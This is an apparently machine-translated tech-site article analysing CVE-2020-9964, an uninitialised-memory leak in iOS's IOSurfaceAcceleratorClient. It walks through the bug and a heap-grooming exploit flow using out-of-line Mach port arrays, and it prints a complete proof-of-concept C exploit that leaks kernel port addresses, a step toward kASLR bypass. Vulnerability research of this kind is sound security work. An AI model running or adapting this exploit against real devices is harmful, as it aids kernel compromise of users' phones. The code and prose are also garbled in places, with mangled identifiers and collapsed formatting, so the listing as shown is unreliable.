Shulou(Shulou.com)05/31 Report--

Today, I will talk to you about how to analyze the information leakage vulnerability CVE-2020-9964 in iOS. Many people may not know much about it. In order to make you understand better, the editor has summarized the following contents for you. I hope you can get something according to this article.

Words written in the front

In the early morning of September 17, 2020, Apple finally launched an official version of iOS14 for all users and released a security content update for iOS 14.0 at the same time. After reading the announcement, you will see a vulnerability in the list, CVE-2020-9964, which is a security vulnerability in IOSurfaceAccelerator. Apple described the vulnerability as: "Local users will be able to use this vulnerability to read kernel memory data, which is a memory initialization problem." The following will give you more information about this vulnerability.

IOSurfaceAcceleratorClient::user_get_histogram

IOSurfaceAcceleratorClient is not only the user client interface of AppleM2ScalerCSCDriver IOService, but also one of the few user clients that can be opened in AppleM2ScalerCSCDriver IOService sandboxie. What we are interested in here is actually a specific external method in this user client, namely the method 9-IOSurfaceAcceleratorClient::user_get_histogram. IOSurfaceAcceleratorClient uses the legacy IOUserClient::getTargetAndMethodForIndex in this external method, and the IOExternalMethod descriptor for method 9 is as follows:

{IOSurfaceAcceleratorClient::user_get_histogram, kIOUCStructIStructO, 0x8, 0x0}

Here, we can see that user_get_histogram only receives eight bytes of input data and does not return any output data. Next, let's take a look at the implementation code of this method. The following is the pseudo code with comments:

IOReturn IOSurfaceAcceleratorClient::user_get_histogram (IOSurfaceAcceleratorClient * this, void * input, uint64_t inputSize) {IOReturn result;if (this- > calledFromKernel) {...} else {IOMemoryDescriptor * memDesc = IOMemoryDescriptor::withAddressRange (* (mach_vm_address_t *) input, this- > histogramSize, kIODirectionOutIn, this- > task); if (memDesc) {ret = memDesc- > prepare (kIODirectionNone); if (ret) {...} else {ret = AppleM2ScalerCSCDriver::get_histogram (this- > fOwner, this, memDesc); memDesc- > memDesc- (memDesc-);} complete > complete () } else {ret = kIOReturnNoMemory;}} return ret;}

We can see that it contains eight bytes of structured input data, which will be set to a user-space pointer that AppleM2ScalerCSCDriver::get_histogram will be able to use to write or read data. In fact, the procedure for get_histogram to call get_histogram_gated is as follows:

IOReturn AppleM2ScalerCSCDriver::get_histogram_gated (AppleM2ScalerCSCDriver * this, IOSurfaceAcceleratorClient * client, IOMemoryDescriptor * memDesc) {IOReturn result;if (memDesc- > writeBytes (0, client- > histogramBuffer, client- > histogramSize) = = client- > histogramSize) result = kIOReturnSuccess;elseresult = kIOReturnIOError;return result;}

We can see that client- > histogramBuffer is written back to user space, so now the question is, what is client- > histogramBuffer? Where was it initialized? Where did the data come from?

IOSurfaceAcceleratorClient::histogramBuffer

The answer to the above question has to be found in IOSurfaceAcceleratorClient::initClient. The relevant code is as follows:

Bool IOSurfaceAcceleratorClient::initClient (IOSurfaceAcceleratorClient * this, AppleM2ScalerCSCDriver * owner, int type, AppleM2ScalerCSCHal * hal) {... if (...) {... if (...) {size_t bufferSize =...; this- > histogramSize = bufferSize;this- > histogramBuffer = (void *) IOMalloc (bufferSize); IOAsynchronousScheduler * scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler (0); this- > scheduler = scheduler;if (scheduler) return true;...} else {.} else {...} this- > stopClient (); return false;}

There is a suspicious place here, where the code allocates space for histogramBuffer but does not populate data, and IOMalloc does not fill memory with 0, so the histogramBuffer here is equivalent to completely uninitialized. So I tried to call this method myself, and I saw a lot of 0xdeadbeef, indicating that this was a piece of uninitialized memory.

Vulnerability exploitation

This is great because we can leak uninitialized memory into user space, but what should we do? In fact, the problem of information disclosure like this is relatively minor in itself, but it is crucial to exploit other memory corruption vulnerabilities. Usually when exploiting such vulnerabilities, I first need to find a matching port address, which is my primary goal. It is worth mentioning that this vulnerability can also be used to attack kASLR.

When exploiting this vulnerability, the destination I choose assigns the address when Mach message out-of-line port array. When sending a Mach message, we can mark the message as "complex". This tells the kernel that the following Header is not metadata, but that the descriptor is followed by the message body "body". One of the descriptors is mach_msg_ool_ports_descriptor_t, which is an array of out-of-line ports that need to be inserted into the receive task.

When memory receives the above information, the kernel can process these OOL ports by creating a buffer that contains pointers (pointing to each port in the array). (if you are interested, you can check the code in ipc_kmsg_copyin_ool_ports_descriptor, which we will not repeat here.) In this way, we can use it to trigger kernel allocations of any size that will contain the data we want to read or extract and release at will at any time.

Advanced exploit flow

Use OOL port array to send message content of the same size as client- > histogramSize

Release these arrays by receiving messages

Open an IOSurfaceAcceleratorClient connection and assign a histogramBuffer, which will now be overwritten by an array of ports that are partially freed

Call external method 9 to read the port pointer to user space

Got it!

Exploit code

The exploit code for this vulnerability is as follows:

# include # if 0AppleM2ScalerCSCDriver Infoleak: IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace. This vulnerability is reachable from within the app sandbox on iOS.Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.Other kernel object addresses can be obtained using this vulnerability in similar ways.#endif # define ASSERT_KR (kr) do {\ if (kr! = KERN_SUCCESS) {\ fprintf (stderr, "kr:% s (0x%x)\ n", mach_error_string (kr), kr);\ exit (EXIT_FAILURE) While (0) # define LEAK_SIZE 0x300#define SPRAY_COUNT 0x80 mach_port_t create_port (void) {mach_port_t p = MACH_PORT_NULL;mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE, & p); mach_port_insert_right (mach_task_self (), p, p, MACH_MSG_TYPE_MAKE_SEND); return p } io_connect_t open_client (const char* serviceName, uint32_t type) {io_connect_t client = MACH_PORT_NULL;io_service_t service = IOServiceGetMatchingService (kIOMasterPortDefault, IOServiceMatching (serviceName)); assert (service! = MACH_PORT_NULL); IOServiceOpen (service, mach_task_self (), 0, & client); assert (client! = MACH_PORT_NULL); IOObjectRelease (service); return client } void push_to_freelist (mach_port_t port) {uint32_t portCount = LEAK_SIZE / sizeof (void*); struct {mach_msg_header_t header;mach_msg_body_t body;mach_msg_ool_ports_descriptor_t ool_ports;} msg = {{0}}; mach_port_t* ports = (mach_port_t*) malloc (portCount * sizeof (mach_port_t)); for (uint32_t I = 0; I < portCount; ionization +) ports [I] = port Size_t msgSize = sizeof (msg); msg.header.msgh_bits = MACH_MSGH_BITS_SET (MACH_MSG_TYPE_MAKE_SEND, 0,0, MACH_MSGH_BITS_COMPLEX); msg.header.msgh_size = msgSize;msg.header.msgh_id = 'OOLP';msg.body.msgh_descriptor_count = 1; msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;msg.ool_ports.address = (void*) ports;msg.ool_ports.count = portCount Msg.ool_ports.deallocate = false;msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND; mach_port_t rcvPorts [spare _ COUNT]; for (uint32_t I = 0; I < SPRAY_COUNT; iports +) {mach_port_t rcvPort = create_port (); rcvPorts [I] = rcvPort;msg.header.msgh_remote_port = rcvPort / / trigger kernel allocation of port array:kern_return_t kr = mach_msg (& msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t) msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); ASSERT_KR (kr);} for (uint32_t I = 1; I < SPRAY_COUNT; I +) mach_port_destroy (mach_task_self (), rcvPorts [I]); free ((void*) ports) } / / The actual vulnerability:void leak_bytes (void* buffer) {io_connect_t client = open_client ("AppleM2ScalerCSCDriver", 0); kern_return_t kr = IOConnectCallStructMethod (client, 9, (uint64_t*) & buffer, 8, NULL, NULL); ASSERT_KR (kr); IOServiceClose (client);} uint64_t find_port_addr (mach_port_t port) {uint64_t* leak = (uint64_t*) malloc (LEAK_SIZE); printf ("Preparing heap\ n") Push_to_freelist (port); printf ("Leaking 0x%zx bytes\ n", (size_t) LEAK_SIZE); leak_bytes (leak); uint64_t addr = leak [1]; free (leak); return addr;} int main (int argc, char* argv [], char* envp []) {mach_port_t port = create_port (); uint64_t port_addr = find_port_addr (port); printf ("Leaked port address:% p\ n", (void*) port_addr) Return 0;}

The success rate of my exploit code is close to 100%. If the exploit is not successful, please rerun the code to try.

After reading the above, do you have any further understanding of how to analyze the information disclosure vulnerability CVE-2020-9964 in iOS? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.